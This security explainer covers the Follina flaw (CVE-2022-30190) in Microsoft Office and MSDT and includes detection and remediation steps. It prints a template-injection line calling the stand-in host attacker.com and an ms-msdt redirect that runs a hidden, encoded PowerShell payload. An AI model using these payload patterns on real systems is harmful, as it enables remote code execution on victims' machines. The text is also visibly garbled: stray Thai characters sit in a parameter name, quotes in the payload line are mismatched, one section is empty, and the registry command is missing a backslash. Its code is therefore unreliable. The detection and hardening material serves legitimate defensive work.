Follina (CVE-2022-30190) & Windows Protocol Handler Exploits

1. May 2022: Macros Are Dead, Long Live Protocol Handlers

In May 2022, a malicious Word document submitted to VirusTotal from Belarus revealed an alarming zero-day remote code execution vulnerability in Microsoft Windows: CVE-2022-30190, dubbed Follina. The exploit bypassed all macro security controls, protected view sandboxes, and endpoint detection heuristics by invoking the Microsoft Support Diagnostic Tool (MSDT) URL protocol handler directly from external HTML templates.

2. CVE Metadata Overview

3. Technical Exploit Mechanics: How Follina Executed PowerShell

The attack chained two Microsoft Office features:

1. Remote Template Injection: A crafted .docx document contained a relationship XML file (word/_rels/document.xml.rels) pointing to an external HTTP URL hosted by the attacker:

   
   <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://attacker.com/exploit.html" TargetMode="External"/>
   

2. MSDT Protocol Invocation: The external HTML file contained JavaScript that redirected the browser or Office rendering engine to a custom URI scheme: ms-msdt:/id PCWDiagnostic .... By passing a padded string of characters followed by an encoded PowerShell command in the IT_BrowseForFile argument, MSDT executed the PowerShell payload in the background without user interaction or macro warnings:

   
   <script>
   location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_ReบรbrowseForFile=true IT_LaunchMethod=ContextMenu IT_SelectProgram=NotExists IT_BrowseForFile=$(powershell -windowstyle hidden -enc JABjAG0AZAAg...)"";
   </script>
   

4. Detection and Threat Hunting Rules

# Search Windows Event Logs for suspicious MSDT process spawns
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object {
    $_.Message -like "*msdt.exe*" -and $_.Message -like "*powershell*"
}

5. Remediation & Protocol Handler Hardening

1. Apply official Microsoft security update KB5014697 / KB5014699.
2. Disable the MSDT URL protocol handler across all corporate endpoints via Registry modification:

   
   reg delete HKEY_CLASSES_ROOTms-msdt /f
   

3. Enforce Microsoft Defender Attack Surface Reduction (ASR) rule: "Block all Office applications from creating child processes" (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).